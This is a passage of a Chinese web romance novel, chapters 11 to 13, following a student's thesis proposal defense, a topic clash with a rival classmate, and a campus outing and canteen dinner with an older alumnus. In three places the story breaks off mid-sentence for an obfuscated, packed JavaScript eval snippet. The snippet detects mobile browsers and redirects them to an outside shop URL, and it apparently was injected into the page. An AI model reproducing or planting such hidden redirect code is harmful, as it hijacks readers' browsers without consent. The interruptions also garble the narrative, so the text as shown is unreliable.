还有一种就是导师手头上已经有的题目,选择参加,这种选题方式相对更加直接,不用想太多事情。 但这两种方式都没有绝对的好坏,最后成绩的高低都得各凭本事。甚至可以两个人合作一个项目,最后得分都可能会有差距发生。而形式上,毕业设计和毕业论文都能作为最后成果参加答辩、展示、评奖。 涂栀芝选的跟李教授手上现有的题目,她最近事情多,时间又紧,当时来不及慢慢查资料找方向了。 其实除了极个别几个有想法的,大多都是跟导师的现有题目,不容易出错。 可这也容易导致一个问题,各位导师手上虽然都有不少课题,但符合本科生现阶段课题难度、研究时间长度、工作量的课题其实不多,有那么愿意好心和学弟学妹分享课题的研究生学哥学姐也不多,很容易发生撞题的现象。 一上午差不多讲了一半的同学,还真出现了两个撞题的,但幸好思路和解法并不一样,侧重点也有区别,不是什么大事。 下午还有近一半的同学要汇报,涂栀芝是最后一个,估摸着得五点结束了。 果然,等到下午,事情也没有转机,她只能硬着头皮掏出手机给祝容蓄发消息求谅解: 【吱吱兔:祝学长,实在抱歉,我们今天毕业论文开题答辩,出现了一点小意外,我估计得稍微晚一点,大概五点才能结束,五点半去找您可以吗?或者我们约校外的餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781334|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅也行。】 盯着手机屏幕,反复看了两三遍,言辞恳切,语气真诚,挑不出毛病,又有充分的理由事出有因,堪称完美。 哪怕不看在她的面子,看在她规范的请假道歉信文笔格式,也请他高抬贵手吧? 确认无误,点击发送。 消息发完,静音免打扰一条龙,继而手机倒扣着往桌上一磕。 接下来的五分钟内,涂栀芝都在聚精会神地认真听台上同学认真汇报,根本不敢看手机。 心里盘算着差不多了,她再拿起手机装作不经意地一看,果然,已经有了几条微信新消息提醒。 祝容蓄回得很快,几乎秒回,快得根本不像是个正在上班的人。 涂栀芝一边想着当了高管可能和一般打工人又不一样了,倒是有点摸鱼自由,一边想着他倒也不是像她第一印象想的那么卷。 【Z:我已经从家里出发去南校区了。】 【Z:不用管我,你好好答辩。】 看完,第一反应,他竟然没有趁机阴阳怪气。 第二反应,这才几点,他就出发了? 涂栀芝又擦亮眼睛看了一眼时间,确定现在才两点出头。 不是哥们,这才两点出头啊,就算约的时间是下午四点,你现在是不是也来得太早了? 这下搞得涂栀芝更没面子了,他提前这么早,她又说要迟到,简直猪八戒照镜子,里外不是人。 【吱吱兔:你要不再开回家上楼坐会儿?】删掉。 哪有这样下逐客令的,再说他万一还有别的事情呢,显得她又自作多情。 思考片刻,重发: 【吱吱兔:今天下午没有工作要忙吗?】 祝容蓄应该正在开车,发来了一条语音。 涂栀芝其实带了耳机,但想到他低沉却又清晰干净的音色,没好意思直接点开听,点了转文字。 【Z:特意请了假。老板好不容易才给批。】 涂栀芝愣了片刻,突然觉得有些愧疚。 是啊,她凌晨躺床上的时候还纳闷,周一他怎么有时间的,没想到打工人工作日出来真得请假。 这么说来,他上周五去录节目也是请假吧,难怪今天请假有些麻烦了。 而她怎么好意思在他历经千辛万难的假期里头又放一次鸽子? 要只是一般的课也就翘了,但今天可是开题答辩。 这要都敢翘,毕业双证不想要了大学四年白干。 她还没想清楚应该怎么回复,祝容蓄那边又发来了一条语音。 依然转文字: 【Z:如果你实在觉得麻烦,我也可以自己先回去,等你下次有时间。】 那哪行啊! 涂栀芝当即开始打字回复: 【吱吱兔:不用不用,我不麻烦的,都看您的时间。只是今天的答辩非常重要,又出了点意外,所以要稍微等一会儿,真的很抱歉。】 然后咬紧了后槽牙,心里的验钞器把刚到手的五千块重点了一遍,表情无比凝重地又发了一条: 【吱吱兔:或者今天您选个其他地方先逛一逛商场?地点随便挑,晚饭我买单。】 也不知道男士平时会不会逛街,反正她就是这么发了。 如果感情有声音,此刻一定震耳欲聋。 她对陈昔梦都没说过这么壕气的请客宣言,其分量可见一斑。 这次祝容蓄没有秒回,而是过了一段时间,涂栀芝才收到他的文字消息: 【Z:没关系,还是今天校园,我刚下车,先自己随便逛逛。】 【Z:安心答辩,不要多想。】 涂栀芝长舒一口气,他已经到了。 转头看向窗外,都觉得今天校园上的天蓝了不少。 【吱吱兔:好的,结束后我第一时间告诉你。】 说罢,又看了一眼时间。 现在才两点半呢,刚还说才出发,现在又说已经到了,他们老年人是不是赶飞机都会提前一夜就睡在机场? 要是以后都这样的话,习惯踩点而将时间安排精确到分钟的涂栀芝心里压力很大。 11. 第 11 章 还有最后两三个男生,开题答辩就终于要轮到女生了。 第一个上来的是齐鸢,因为学号九,常常容易和班上前八位女生落单,平时也是和其他班的女生住在混寝。 所以在此之前,班上没听说过她的答辩选题,何况也没人格外对她的消息感兴趣。 因此,直到齐鸢上来的那一刻,电脑连接上,才看到了她的答辩选题—— 《基于SpringBoot框架开发的健身餐推荐小程序》 这题目乍一看没什么问题,SpringBoot本就是现在行业内流行的后端实现技术主流框架,小程序也没什么,相对来说小程序原生框架的前端路径难度不大,对于单独的本科生毕设也没问题,而健身餐推荐,这题目意义也很不错,既有一定的算法挑战性,又有一定的现实意义。 只是,太耳熟了。 不仅涂栀芝发现了这个问题,室友们也齐刷刷地朝她看了过来。 “怎么回事,我记得你不是也要做什么推荐小程序吗?”张媛最近没太多时间待在宿舍,记不太清。 但陈昔梦和孔珺瑶就很清楚了,尤其是孔珺瑶上午还帮涂栀芝过了一遍PPT,看有没有什么问题。 孔珺瑶脸色很难看,微微点头道:“没错,栀芝做的也是核心算法上和这个概念差不多的小程序。” “中医药日常养生打卡小程序。”陈昔梦补充着,捏紧了拳,又道,“栀芝做中医药是因为她一直就对这个题目感兴趣,且有这方面专业内容的背书,她齐鸢为什么突然闹出个健身来凑热闹?看她那弱不禁风的样子,平时哪像个健身的人?” 涂栀芝面无表情,但在心里肯定着室友们的话,毕设选题一看难度,二就是选自己感兴趣的才会更顺利完成,她齐鸢突然冒出个不沾气质的健身,很难让人不多想。 “事已至此,先听听看吧。” 而在教室后排角落,祝容蓄悄无声息地安静落座。 齐鸢一场答辩结束,涂栀芝宿舍四人都沉默了片刻。 听得出来她准备充分,效果也不错,回答导师们提出的问题也没什么破绽,似乎真的只是巧合。 毕竟她当时抽签选中的导师也是李教授,有这么一个情况在,她和涂栀芝可能撞题目撞思路的可能性就更高了。 “可我还是不甘心。”陈昔梦捏紧着的小拳头从刚才开始就没松过,愤愤道,“毕设没有组队,就是一个人总揽的独活,我就不信她真能弄出一个像样的健身餐算法,只怕到时候是漏洞百出,丢人现眼。” 虽然这话听起来有点狭隘,甚至是恶意揣度,但从感情上来说,张媛不假思索便附和道:“对啊,有多大本事选多大题,打肿脸充胖子有什么用?” 倒是孔珺瑶依然保持着理智,淡淡道:“你们可别忘了,她最擅长搬救兵哦。” 不提这些还好,一提这些张媛更气了,想起了一些陈年旧梁子:“真离谱,也就她腆着个脸到处找人美其名曰‘帮忙’,其实就是讨了别人的成果现抄。” 之前保研的时候就是张媛、齐鸢还有其他几个同学绩点相同,但都在边线上,只能进一个。 正值最后综测奖项分PK时刻,本来是张媛领先,却没想到齐鸢突然闹出一个莫名的奖项想把张媛综测分挤下去。 戚睿诚那辅导员也是吃白饭的,不知道听了什么风,真答应了,正打算把张媛名字划了改成齐鸢。 但幸好她们宿舍也不是吃素的,涂栀芝最擅长用魔法打败魔法,转眼就给张媛多加了三四个国家级奖项,把齐鸢秒了。 齐鸢气得半死,但也没招,毕竟没人能在涂栀芝最擅长的奖项领域玩出花,咬牙接受了自己惨败的事实。 所以,抛开所谓的感情那种虚无缥缈的东西,涂栀芝一直都很有信心,更很有实力打败齐鸢,本事才是硬道理。 她淡淡地看着齐鸢下台,语气平静,放下的话却掷地有声:“撞衫不可怕,谁丑谁尴尬。” 类似的题目与大致算法思路下,比的就是完成度。 想在她最擅长的推荐算法和页面设计领域挑战,那真是有点不知天高地厚。 更何况这是她一直想做的中医药领域,四年过去,终于到了最后的毕业时刻,她一直想用自己的真才实学,为外公送上一份完美的礼物。 而事实也说明,不是涂栀芝狂妄,而是在绝对的实力面前,有眼睛的人都能看明白高低。 在齐鸢结束演讲之后,或许又因此激发了涂栀芝的某种灵感小宇宙,短短时间内又把PPT的部分描述和思路修改得更加完善了。 黑色帽檐下,祝容蓄的眼底含着笑意,微微勾了勾嘴角,在听到她最后一句结束语之前起了身。 答辩最后结果无须明白公布,已是显而易见。 如果齐鸢的答辩可以勉强够到优秀档次的边缘,涂栀芝的答辩便能算是毋庸置疑的超水平发挥。 仅仅一个开题,便可以看出两人思路与解法上的巨大差异,有些鸿沟,是无论使用怎样的旁门左道都填不了的。 摸着良心说,室友们就算不论感情,只凭今天听到的答辩,都一致认为,百分制之下涂栀芝的开题报告比齐鸢至少高出五分以上。 涂栀芝算是为今天的答辩进行了一个完美收尾,就连一向苛责的谢教授也没有什么问题,更不存在刻意刁难。 毕竟她的答辩报告已经很清晰了,没有什么能让人产生疑惑的地方。李教授更是有些骄傲,本来还有点担心,因为自己最近事情太多,有些没顾上这批本科毕业答辩的事情,让两位同学有些撞题。 但现在看来,两人后续的思路应该是大相径庭,毕竟涂栀芝想研究的算法难上太多,这也没什么好顾忌的了,反而他很相信这位他一直看好的学生的实力。 终于开题答辩结束,涂栀芝松了半口气,站在讲台上收拾着电脑。 抬头向后一望,方才一直认真答辩,好像看到一个带着黑色棒球帽的同学,似乎不是他们班的,但也没办法分出心神盯着看个明白。 现在那人倒是早就走了,毕竟班上的同学也在陆续提交打分表,从前门出去。那位同学倒似乎是走的后门? 管不了那么多了,她现在得赶紧去找祝容蓄! 在上台答辩前她便已经给他发了一条消息: 【吱吱兔:马上轮到我了,大概十分钟后我就能从二号院楼出来了,抱歉学长久等。】 计科院一共四栋院楼,其中二号楼一般本科生教学和实验安排集中,这是计科院一直以来的传统,从没变过。 听说涂栀芝说自己开题答辩没结束,祝容蓄掐指一算都不用细想,就能轻车熟路按着前几年的记忆找到这间熟悉的教室,默默地旁听了她的开题。 在他心中,她在讲台上的样子和从前似乎没有多大变化,反而更加游刃有余,利落大方。 发消息的时候已经是五点。 他回道: 【Z:好,我在院楼后面的东湖道边上等你。】 涂栀芝看了消息,很痛快。 这地方清楚明白,一下就能找到。又把电脑交给陈昔梦带回去。 对于她接下来安排可谓了如指掌的陈昔梦挤眉弄眼,嬉皮笑脸道:“哎哟,这就有了男人忘了娘了?” “少来。”涂栀芝单手插兜,被她调侃了一两天,现在已经能脸不红心不跳地应付回去了,“答谢饭而已,要不我请客你出钱?” 陈昔梦才不做这个冤大头:“涂栀芝,花我的钱泡男人,这种事情也只有你想得出来。” 涂栀芝笑了,摆摆手:“回去吧,辛苦梦姐了,晚上给你带清补凉。” “你最好记得。”陈昔梦把两个书包稳稳地放在自己粉色小电驴前面,挥了挥手,风驰电掣地走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781335|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 后头,东湖,边上。 涂栀芝一边念叨着一边往那头赶。 东湖不小,但计科院后面就那一小处。 果然,她从院楼边的小道过去,一眼就看到了祝容蓄。 他今天的穿着要休闲不少,但并不随意,浑身上下依然透露着难以捉摸的矜贵感。 即便他看起来很年轻,和周围那些大学生差不多,但偏又很神奇地没有一般男生的毛躁。看上去清爽干净,不似那些刚打完球在校园大道上飞窜冲撞的汗小子们臭烘烘的。 “祝……学长。”称呼在口里转了个弯,涂栀芝才犹豫着还是这么称呼他。 学长什么的她真不常叫,网上这么打两行也就罢了,嘴上喊出来还是有些怪。亲口叫哥哥更不行,那是她互联网限定版贩剑。 而这个问题在祝容蓄那儿显然不存在,他侧身与她并肩,语气那样熟稔自然地叫她:“栀芝。” “嗯。”涂栀芝轻抿下唇,有点迟缓地点了一下头,手脚有些不知道该往哪放。 有话说网上越虎,现实越怂,在她这里展现的淋漓尽致。 她又看了一眼时间,才道:“比我预想得竟然还早一点点,时间还不到五点,要不先随便逛逛?” 祝容蓄求之不得。 不枉他一中午发型都反复吹了好几遍,手表都试了好几十只,才有了这身看似不经意实则百般心机的“自然感”青春风,等的就是这一路把宁苏大学现役男大都压下去。 他已然迈开步子,隐去眼角笑意:“当然,有劳栀芝向导。” - 可走在校园里的时候,涂栀芝却有些惊奇地发现,祝容蓄对现在校园内的变化并不陌生,甚至有些熟悉。 “学长,你本科毕业后就没来过学校了吗?” 祝容蓄的目光从远处的湖面收回,回道:“研究生期间有幸回来做过课题,没待太久。” “哦。”涂栀芝点头。 难怪他刚刚转弯到新修成的湖边小花园的动作那么熟练。 但今天是周一,风景优美的小湖边上没多少人,下午大部分人都有课,晚上才是最热闹的时候。 不过,那时候的热闹就不是为了看风景了。 灯光昏幽晦暗不明,都是来有事办事、没事吃瓜的。大学里青春萌动情感多得要爆炸的男男女女,偷偷想搞点什么动作自是不必多言。 若是社交广的,走三步就能碰到一对熟人。 所以,这地儿很少能碰到像他们这样,大下午太阳还没下山,在小湖边假装散步遛弯—— 实际上步速已经快赶上竞走的。 前半圈的时候,涂栀芝还勉强保持着正常偏快的速度,偶尔介绍两句学校现在的情况。 祝容蓄身高腿长,自然是很轻松地便能跟在她后面。 但后半圈这事明显就不对劲了。 涂栀芝越走越快,眼神坚定得要做社会主义接班人,尾巴着了火似的往前窜。 祝容蓄皱眉,百思不得其解。 他走快一点没关系,但眼见她已经走得带跑微微喘气了,实在于心不忍。 只得小跑两步拦在她前面,迟疑着自省:“我真的有这么可怕吗?” “嗯?”涂栀芝步子变慢了些,但依然保持前进,表情严肃。 他以为她没听清,又重复了一遍:“我很吓人?” 涂栀芝不明所以,眨了眨眼,微微张开了嘴唇:“没有啊。” “可你为什么走这么快?”快到他稍微缓两步就见不到人影了。 涂栀芝耳尖发烫,意识到刚这事办得确实有点毛病。 但她绝不就这么承认,而是扫了一眼他的大长腿,反问他:“你跟不上我?” 祝容蓄站直了,忽然轻笑一声,语速缓缓,“不是,只是觉得你走得太快,脸都红了。” 12. 第 12 章 涂栀芝揉了揉自己的脸,初春季节里却烫得像快中暑。 天知道是累得还是羞得。 她承认自己确实没出息,网上嘴炮冠军,现实行动矮子。 和他在这个传闻中的恋爱圣湖边散步,竟会像一个高中生一样,哪哪都不自在。 但她的嘴硬依然改不了一点。 “我走路本来就很快。” 祝容蓄没出声,只是表情不变地依然看着她。 感觉他好像不信,涂栀芝忙出了假动作,打开手机看了眼时间。 “你不是要逛校园吗,快走吧,五分钟后光棍桥北校园巴士就要发车了。” “嗯。”祝容蓄盯着她的眼睛,若有所思地点了点头。 这事算翻了篇,涂栀芝也终于能以一种不中暑的非火箭速度,正常匀速地领着祝容蓄向小巴士站走去。 不知为何,跟祝容蓄打破僵局后终于感觉没那么别扭。 虽然还是沉默地走着,但好歹不是那种要跑断脚踝的架势。 偶尔还能聊个一两句,但都是他在找话题。 涂栀芝其实不太爱社交,甚至非必要不社交,本质喜欢独处。 但在遇到新朋友时一般还是会很友善地找些话题,所以几乎有问必答。 于是,在这样“愉快”的聊天散步下,原本五分钟的路程耗时翻了倍—— 两人成功地没赶上校园巴士。 涂栀芝的脸当即不受控制地沉了下来。 作为一个非常有计划的人,计划突然被打断,是一件非常不爽的事情。 本来打算在始发站坐上循环巴士带着人观光一圈,到了站刚好是饭点,简直满分安排。 现在好了,下一趟还得再等半个小时。 她看了看周围,一旁停得整整齐齐的共享单车在无声地向她招手。 好像没辙了,真走路得走断腿还赶不上,眼下只有这一个选择。 “要不,我们骑共享单车逛逛?” 她都不敢看着他的眼睛问。 人家好不容易回母校看一看,但她只能环保地带着人家骑单车。 还真是致青春,甚至青春得有点过头。 祝容蓄没有直接答应她,而是不置可否地问:“你骑共享单车也像你走路这么快吗?” “当然不是。” 祝容蓄刚松下半口气。 涂栀芝又拍了拍胸脯振振有词:“骑车当然比走路快啊!” 他揉了揉眉心,大事不妙:“……” 倒也不必。 走路还能有个上限,多追两步也就追上了。 骑自行车可就不一样了。 涂栀芝正儿八经蹬起来那还能追得上? 想象中的漫步校园马上就要泡汤,很有可能变成自行车竞速赛,祝容蓄脱口而出: “我不会骑。” 涂栀芝:“?” 再次看了眼他的大长腿。 这腿是摆设吗,一把年纪的人了你跟我搁这说你不会踩单车。 下一秒,又听到他说:“你载我吧。” 涂栀芝震惊:“祝总,这是共享单车,后面没座,我怎么载你?” 她的第一反应竟然不是直接拒绝,还荒唐地认真思考了一下方案可行性。 “哦。”祝容蓄很遗憾地摇了摇头,叹道,“那我们只能接着慢慢走了。” “……” 涂栀芝心里翻了个白眼,掏出手机看了时间。 不是,怎么就已经五点了? 这特么到底是谁带的路,零帧起手逛完了一整个新湖边花园? 绕了这么大一个弯,本来直奔光棍桥北完全能赶上校园巴士的啊。 真按照刚刚的速度继续走下去,到食堂应该正好赶上下课高峰,保不齐要遇到熟人,她只会比在湖边的时候更不自在。 涂栀芝木着脸瞪了一眼祝容蓄,音调沉沉,找了个没办法的办法。 “您在这儿等一会儿,我马上回来。” 祝容蓄:“嗯?”去干什么? 涂栀芝:“去给少爷抬轿子。” 说完,涂栀芝就撒开步子跑没影了。 祝容蓄目送着她那如风似电一般的背影,直到她拐入小道后看不见,才恋恋不舍地收回目光,强压住上扬的嘴角,拿出手机回了个电话。 “今晚的讨论取消,明天吧。” “别高兴过头,明天还是一样的要求,这次初步方案设计的重要程度我不说你也有数。” “你管我要去干什么?” “不跟你说了,总之我有非常重要的事。” “嘀——嘀——” 恰好挂电话那瞬,便听到耳边传来两声鸣笛。 快,真是快。 前前后后还不到十分钟,涂栀芝又回来了。 这十分钟里,她都没脸跟陈昔梦提大帅比不会骑自行车才借她小电驴的缘由。只抢了她丢在桌上的车钥匙转身就跑,在梦姐铺天盖地的国骂声中窝囊地又欠了一笔人情债出去。 祝容蓄抬头,看到她带着一个蓝色的哆啦A梦头盔,横跨在一辆粉色小电驴上。 涂栀芝从前面的挂钩上取下一个库洛米头盔递给他,抬抬下巴:“上车。” 祝容蓄从善如流地带上了这个长了两只耳朵的少女头盔,抬腿跨上了她的后座。 没有废话,身后半沉。在感受到祝容蓄坐稳当后,涂栀芝一拧油门,小电驴便跟被抽了一鞭子似的快速往前蹿。 祝容蓄还没反应过来,上身惯性使然往后仰了仰,双手立马撑在后座,悬住半颗心。 这速度,还好没答应跟她骑自行车。 一人一辆,那还不得逐风宁大竞速林荫道。 涂栀芝头盔上的小螺旋桨随着风在不停地转悠,祝容蓄头盔上的两只耳朵也随着路上的小颠簸而晃动。 耳边是呼呼风声,祝容蓄坐在后面看着两边,路上的人已经渐渐多起来了,下午没课的同学都开始往食堂赶。 祝容蓄:“我们现在去食堂吗?” 涂栀芝的声音散在风里:“嗯。” 祝容蓄:“哆啦A梦挺可爱。” 涂栀芝老脸一红,被自己的口水呛了一下,随口解释:“这是我刚刚找室友借的车,我戴的她的头盔。” 言下之意是,你头上的那个头盔才是我的。 疾风不止,祝容蓄周围都是她的清新气息。 近在咫尺的是她乌黑柔顺的长发,有的已经扫过了他的眉宇。 这个库洛米头盔确实是她的风格,暗黑甜酷。 他在她的背后点了点头,找到重点:“那还是库洛米更可爱。” 涂栀芝笑了,嘴角上扬。 但不知怎的,一想到祝容蓄竟然还知道库洛米,越想越觉得有趣,渐渐笑出了声,根本停不下来。 祝容蓄也忍不住跟着笑了笑,只是笑得不明所以:“我说错什么了?” 涂栀芝好不容易止住了笑才答他:“没有,我只是觉得很意外。” “怎么?” “你居然知道库洛米。” 她一副你们老年人居然连了互联网的震惊语气。 祝容蓄嘴角的笑容一僵,沉默了两秒。 再开口时,表情严肃:“我想你一定是对我有什么误会。事实上,我是个会熟练使用智能手机上网的正常年轻人。” “年轻人”三个字的语气格外重。 涂栀芝又一个没憋住,笑得更大声了。 - 涂栀芝车技不错,小电驴开得很稳当,祝容蓄在后面坐得很端正,一点乱动的小动作都没有,比她平时载着室友还要稳。 终于到了食堂,涂栀芝摘下头盔后打了个哈欠。 春风和煦,暖洋洋的,吹得她直犯困。 祝容蓄摘了头盔递给她:“累了?” 涂栀芝摇头:“还行,中午没睡午觉。但到点犯困也是我的常态。” 祝容蓄“嗯”了一声,“但你刚刚开车还挺稳的。” 涂栀芝没懂他突然来的这句是什么意思,随口附和了一句:“彼此彼此。” 你前两天那几把倒车入库和出库也很有水平。 祝容蓄憋了憋,提着半口气,直到她把车锁好,半只脚都踏到食堂了,才幽幽问来了一句:“你之前也很经常载人吗?” 涂栀芝眨了眨眼:“嗯?” 祝容蓄眼神难得找不到方向,语气飘忽:“技术这么好,应该是之前载过不少人。” “那当然。”原来是这个意思,涂栀芝听不出他的弦外之音,还有些骄傲,“熟能生巧嘛,不经常载人练习一下,今天怎么伺候祝总?” 但被伺候的祝总绷着脸,显然看不出有多么高兴。 虽然这个回答并不意外,有些事情他其实也知道,正如那天晚上他碰到她和那个小男生在餐厅门口拉扯不清,他也一眼就能明白是怎么回事。 她很受欢迎,这些年他一直都知道。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781336|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪总是会莫名其妙地冒出来,并不会完全受理性控制。 涂栀芝瞥他一眼,看他情绪不太对劲。也不知怎么,她突然话多了起来。 “以前都是梦梦带我,噢,梦梦是我室友。但后来她早上总是醒不来,为了避免疲劳驾驶双双嗝屁,就换我来载她了。怎么样,是不是很有车神的天赋?” 涂栀芝自己都惊讶,第一次载男性朋友居然就能这么顺利平稳。 “你说的经常练习就是载着你室友?”祝容蓄眼神一顿。 “不然呢?”涂栀芝踏上食堂台阶,直奔二楼,“不过练习和实践还有点区别,以前载的都是梦梦那种小体型,头次载你这么大个的。” “头次?” “对啊。” 三分钟后,祝总眉眼含笑地跟着涂小姐进了食堂二楼的隔间。 - 食堂隔间已经算是涂栀芝能想到的最体面的请客方式了。 正式包间也有,只不过要提前预定,就在这排隔间对面,中间是一条走廊。 但包间也好,隔间也罢,都是在阿姨那儿点菜,一个厨房出品,本质上没有区别,味道都不错。 不说预定的包间,就连平时隔间的位置都要靠抢,多半是情侣私会的圣地,大半包结构,隐私相对可以。 “你来点吧。” 涂栀芝抬起头,在食堂万年不变的菜单上扫了两眼,将决定权交给了祝容蓄。 祝容蓄显然深有同感,看着菜单发出感叹:“有话说,所谓母校,在毕业后必会装修大变样。但是食堂菜单,真是一点变化都没有。” 涂栀芝笑了:“十年前就是这么个菜单?” 祝容蓄皱眉,严肃纠正:“准确来说,我才毕业五年。” 他真的非常在意他俩之间的年龄差。 “老”字说出口只需要涂栀芝上下嘴巴皮子一碰眨眼功夫,但祝容蓄真的记了整整下半辈子。 涂栀芝若有所思地点点头,本来还觉得自己算错了,但转念一想:“没错啊,毕业五年加大学四年,不是马上就十年了?” 原本以为只是随口一说,没想到竟然真十年了。 祝容蓄脸色微变,掩饰住眼神,“我们还是点菜吧。” “哦。” 涂栀芝懵然点头,竟在这个无懈可击的男人脸上看到了一丝受伤。 有点奇怪,男人不是都不怎么在意年龄这事吗,为什么这偏偏是祝容蓄的雷区? 涂栀芝虽然不理解,但还是忍不住回想,亏她之前还一直觉得这事情只是个玩笑。 现在想来,好像很不对。 她在心中忏悔,一边掏出校园卡,一边拿下祝容蓄掩在唇边的手,将餐卡塞在他手上。 “学长别客气,只管点,想吃什么点什么,我请客,一定得让你满意。” 听起来充满气势,实际上充满愧疚。 祝容蓄缓了一下,才想清涂栀芝态度突然变化的转折,强压下想要上扬的嘴角。 “真的随便点?” “君子一言驷马难追!” 于是,祝容蓄真的听了涂栀芝的话,全权自己点菜,平时保持良好的绅士风度也没谦让了。 这样的后果便是,一桌子菜涂栀芝每一道都——非常满意。 相比之下,涂栀芝吃饭的样子才是更没淑女形象。 早餐和午餐都只是对付几口,忙着准备答辩,现在才是正儿八经吃上了今天的第一顿饭。 间隙时抬起头,她才发现祝容蓄慢条斯理地,都没怎么动筷子。 两个人一共点了四个菜,三菜一汤,加上小菜可是五个,虽然分量不多,但也得努把力才能吃完。 “祝总加油啊,咱不能浪费。” 她一边说着,又给自己“加”了一筷子“油”。 祝容蓄还没来得及回她,就听到广播里也在放:【一粥一饭,当思来之不易;半丝半缕,恒念物力维艰。】 这么多年还是这句谚语。 他点头,“嗯”了一声,挑了一道相对不那么辣的菜。缓缓收回了刚刚一直看向涂栀芝的目光。 涂栀芝吃得半饱,终于知足地靠在了椅背上。 这顿饭虽然是请客,但她请得高兴,自己也吃得满意,“没想到和祝总的口味这么相似,若我们有机会在校期间认识,倒是不可多得的饭搭子,只可惜,我都快要毕业了。” 祝容蓄垂眸,“以后还有机会。” 涂栀芝只当他客气,没再回话。 13. 第 13 章 吃完饭时间还早,涂栀芝没打算太早往阶梯教室去,索性在隔间多待了一会儿。 今天这一天满满当当,马上就能把该办的事都办了,比如白天答辩、晚上年级会、中间见缝插针“报个恩”什么的…… 这样基本完成计划的一天,深得她心意。 祝容蓄吃得慢,她理应等他,也有足够的良好心情保持住了耐心。 但她也真是少见吃饭这么慢的人。 哪怕是细嚼慢咽,也有些优雅得过分了吧? 为什么他一顿食堂饭都能吃出将近一个小时? 涂栀芝丝毫没注意到祝容蓄偶尔故意打开手机看两眼,又四处打量的拖延动作。 算了,再等一下,六点半他要是还没吃完就真该催一下了。 她又自己哄好了自己接着等。 反正大一的年级大会而已,就算她要在台上发言,也没必要去那么早。 更何况她的PPT已经交给辅导员对过了,不会有什么问题。 其他人在全年级几百号人面前发言,可能多少会有些慌张。 但涂栀芝就不一样了,根本没怎么当回事。 写稿子也是,玩儿似的。 导员说和学弟学妹们随便交流一下大学生活,分享点干货,她还真把自己这些年的食堂测评、公共选修课“性价比”测评、校园便利店各类饭团测评、图书馆的垃圾空调哪个位置效果稍微好点、周边外卖非预制菜排行榜、各类APP如何有效薅到最优惠羊毛、KFC疯狂星期四怎么拼最实惠、哪些东西是双十一必囤…… 都放到PPT里头分享了个遍。 也不知道辅导员收到她的PPT文件后有没有看,反正她就打算这么讲了。 这还不能算干货的话她就没法写了,干得她比生吃干噎酸奶不加糖还干。 又过了十分钟,涂栀芝把各类小游戏的签到打卡也刷了个遍。 一抬头,恰好看到祝容蓄终于肯放下筷子。 再惊喜地看了看面前的碗,竟然都被吃得差不多了。 “可以啊。” 她都没想到,感觉祝容蓄看起来就是那种克制的人,饮食习惯也会控制得很好。 “嗯,平时可能不会吃这么多,今晚栀芝同学请客,不能辜负你的一番美意。” “也是,毕竟你……”年纪大了,代谢降了是该少吃点。 涂栀芝猛地嘴巴一闭,还好把准备脱口而出的话咽了回去改口,“你看起来就是个很自律的人,自制力惊人。” 祝容蓄听出来她是想夸自己,心里却在自嘲。 自制力太强也未必是什么好事。 今晚的菜都有些辣,他的嘴唇已经微微泛红,虽然有汤压一压,但涂栀芝也想饭后再喝点什么。 “要不要给你买杯奶茶,食堂楼下新开了蜜雪冰冰,当然,瑞瑞咖啡也可以。” 祝容蓄想了想:“蜜雪吧,咖啡喝了晚上睡不着。” 其实他已经吃得很饱了,今日的碳水摄取量也已经完全超标,但还是没能禁住诱惑,想留住眼下的这分甜。 或许他可以再克制下去,可有些东西一旦开了一道口子,便如洪水泄堤,一发不可收拾。 “行。” 涂栀芝熟练地打开手机微信小程序,提前点单,一会儿就能直接到楼下去取。 选好自己想喝的之后,又把手机给了祝容蓄挑。 “滋滋——”手机在他手中震动了两下,顶部显示有新的消息。 【甜酷AWM(陈昔梦):宝吃完饭没,人野到哪去了!别忘了姐妹我还在宿舍等着你载我去阶梯大教室啊!!】 祝容蓄扫了一眼便将手机递向了涂栀芝,无意探究女生之间的聊天秘密内容。 涂栀芝没接,只看了一眼发消息的人就大概知道陈昔梦要说些什么,又把手机推回给了祝容蓄。 “没事,你接着点吧,梦梦催我来了。你也知道我这车是借的她的,我一会儿还得回宿舍载她去经纬楼阶梯教室。” 他的指尖在屏幕上滑动,本来还想再看看。 既然如此,索性点了一杯和涂栀芝一模一样的,只是把糖度改成了三分甜。 涂栀芝接过手机,想了想,也给陈昔梦顺手带了一杯,回了条语音给她。 【吱吱兔:我现在就从南苑食堂过来了,别急,十分钟后见,还给你带了蜜雪冰冰,你最喜欢的奥利奥芝士四季春~】 这个时间奶茶店的订单偏多,但因为提前点了单,并不需要等很久,奶茶小哥的手摇速度也不是盖的,到了楼下便出单了。 